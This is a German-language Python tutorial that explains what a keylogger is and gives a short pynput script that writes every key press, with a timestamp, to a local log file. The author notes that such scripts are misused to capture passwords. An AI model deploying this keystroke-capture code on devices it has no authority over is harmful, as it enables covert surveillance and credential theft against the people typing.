Erstellen Sie einen Keylogger in Python
In Python können wir Benutzereingaben lesen und Hardwaregeräte wie Tastatur und Maus erkennen, um interaktive Anwendungen zu entwickeln. Insbesondere das pynput
-Modul ermöglicht es uns, mit solchen Geräten zu arbeiten und mit Funktionen Tastendruck zu erkennen und Cursorbewegungen zu erkennen.
Dieses Tutorial zeigt, wie man einen Keylogger in Python erstellt.
Erstellen Sie einen Keylogger in Python
Lassen Sie uns zunächst verstehen, was ein Keylogger ist. Ein Keylogger ist eine Anwendung, die die vom Benutzer auf der Tastatur gedrückten Tasten lesen und in einer Protokolldatei speichern kann.
Solche Anwendungen werden im Allgemeinen verwendet, um Geräte zur Fehlerbehebung und Erkennung technischer Probleme zu überwachen. Heutzutage werden solche Skripte für böswillige Absichten verwendet, z. B. um Geräte zu überwachen, um das Passwort und andere Zugangscodes zu sehen, daher sollte man bei der Verwendung dieser Skripte vorsichtig sein.
Wir erstellen nun einen einfachen Keylogger in Python mit den Modulen logging
und pynput
.
Wir werden das Modul Protokollierung
verwenden, um eine Protokolldatei zu erstellen, die alle gedrückten Tasten verfolgt. Wir erstellen eine Datei mit dem Konstruktor basicConfig()
und spezifizieren den Dateinamen
und das format
innerhalb dieses Konstruktors.
Das pynput
-Modul hat ein Listener
-Objekt, das Funktionen sammelt, wenn eine Taste gedrückt wird. Wir werden eine Funktion namens press
definieren, die das Listener
-Objekt sammelt.
Die Funktion press()
liest die gedrückten Tasten und protokolliert sie mit der Funktion logging.info()
in der Datei. Beachten Sie, dass der Schlüssel zuerst in eine Zeichenfolge umgewandelt werden muss.
Code:
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(
filename=("logfile.txt"), level=logging.DEBUG, format="%(asctime)s: %(message)s"
)
def press(key):
logging.info(str(key))
with Listener(on_press=press) as listener:
listener.join()
Ausgang:
Wie im obigen Beispiel gezeigt, werden die vom Benutzer gedrückten Tasten in der Protokolldatei vermerkt, wenn das angegebene Skript ausgeführt wird. Beachten Sie, dass jeder Eintrag in der Protokolldatei auf dem in der Funktion basicConfig()
angegebenen Format basiert.
Manav is a IT Professional who has a lot of experience as a core developer in many live projects. He is an avid learner who enjoys learning new things and sharing his findings whenever possible.
LinkedIn